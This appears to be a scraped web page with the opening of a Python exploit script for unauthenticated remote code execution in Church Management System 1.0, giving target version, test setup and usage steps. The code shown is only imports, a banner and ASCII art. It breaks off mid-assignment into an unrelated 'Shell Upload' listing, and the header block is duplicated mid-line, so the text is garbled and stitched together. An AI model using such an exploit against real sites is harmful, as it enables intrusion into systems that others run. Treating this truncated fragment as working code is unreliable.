# Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php # Exploit Title: Church Management System (CMS-Website) - Unauthenticated RCE
# Exploit Author: Abdullah Khawaja
# Date: 2021-09-17
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Version: 1.0
# Tested On: Linux, Windows 10 + XAMPP 7.4.4
# Description: Church Management System (CMS-Website) 1.0 - Unauthenticated Remote Code Execution
#Step 1: run the exploit in python with this command: python3 CMS-RCEv1.0.py
#Step 2: Input the URL of the vulnerable application: Example: http://192.168.10.11/church_management/
import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
header = Style.BRIGHT+Fore.RED+' '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja
'+Style.RESET_ALL
print(Style.BRIGHT+" Church Management System v1.0")
print(Style.BRIGHT+" Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)
print(r"""
.----------.
.-''-. / /
. __ __ ___ .' .-. ) / ______.'
.'| | |/ `.' `. / .' / / / /_
.' | | .-. .-. ' (_/ / / / '''--.
< | __ __ | | | | | | ,.----------. / / '___ `.
| | ____ .:--.'. .:--.'. | | | | | |// / / `'. |
| | .' / | | / | || | | | | |\ /. ' ) |
| |/ . `" __ | | `" __ | || | | | | | `'----------'/ / _.-')......-' /
| / .'.''| | .'.''| ||__| |__| |__| .' ' _.'.-'' _..'`
| | / / | |_/ / | |_ / /.-'_.' '------'''
' ._, '/ ._, '/ / _.'
'------' '---'`--' `" `--' `" ( _.-'
abdullahkhawaja.com
""")
GREEN = '
Church Management System 1.0 Shell Upload
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 139